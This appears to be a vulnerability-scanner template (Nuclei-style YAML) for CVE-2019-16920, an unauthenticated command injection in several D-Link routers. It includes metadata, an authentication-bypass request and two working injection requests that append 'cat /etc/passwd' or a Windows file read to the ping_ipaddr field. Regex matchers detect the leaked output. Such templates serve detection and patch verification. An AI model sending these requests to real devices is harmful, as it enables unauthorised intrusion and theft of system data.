70 lines
2.8 KiB
YAML
70 lines
2.8 KiB
YAML
id: CVE-2019-16920
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info:
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name: D-Link Routers - Remote Code Execution
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author: dwisiswant0
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severity: critical
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description: D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565 contain an unauthenticated remote code execution vulnerability. The issue occurs when the attacker sends an arbitrary input to a "PingTest" device common gateway interface that could lead to common injection. An attacker who successfully triggers the command injection could achieve full system compromise. Later, it was independently found that these issues also affected; DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.
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remediation: |
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Apply the latest firmware update provided by D-Link to mitigate this vulnerability.
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reference:
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- https://nvd.nist.gov/vuln/detail/CVE-2019-16920
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- https://github.com/pwnhacker0x18/CVE-2019-16920-MassPwn3r
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- https://fortiguard.com/zeroday/FG-VD-19-117
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- https://www.seebug.org/vuldb/ssvid-98079
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- https://medium.com/@80vul/determine-the-device-model-affected-by-cve-2019-16920-by-zoomeye-bf6fec7f9bb3
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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cvss-score: 9.8
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cve-id: CVE-2019-16920
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cwe-id: CWE-78
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epss-score: 0.96307
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epss-percentile: 0.99404
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cpe: cpe:2.3:o:dlink:dir-655_firmware:*:*:*:*:*:*:*:*
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metadata:
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max-request: 3
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vendor: dlink
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product: dir-655_firmware
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tags: cve,cve2019,dlink,rce,router,unauth,kev
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http:
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- raw:
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- |
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POST /apply_sec.cgi HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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Referer: {{BaseURL}}
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html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&graph_code=&session_id=62384
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- |
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POST /apply_sec.cgi HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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Referer: {{BaseURL}}/login_pic.asp
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Cookie: uid=1234123
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html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('cat /etc/passwd')}}
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- |
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POST /apply_sec.cgi HTTP/1.1
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Host: {{Hostname}}
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Content-Type: application/x-www-form-urlencoded
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Referer: {{BaseURL}}/login_pic.asp
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Cookie: uid=1234123
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html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0a{{url_encode('type C:\\Windows\\win.ini')}}
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matchers-condition: and
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matchers:
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- type: regex
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part: body
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regex:
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- "root:.*:0:0:"
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- "\\[(font|extension|file)s\\]"
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condition: or
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- type: status
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status:
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- 200
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# digest: 4a0a00473045022046311770508345d0b59b22632ea1df1372c9909a367714408865e22328454714022100829a8adcc8bb1e394c9142ddd9c6d57b397ae0739a14750764acc62358b63e07:922c64590222798bb761d5b6d8e72950
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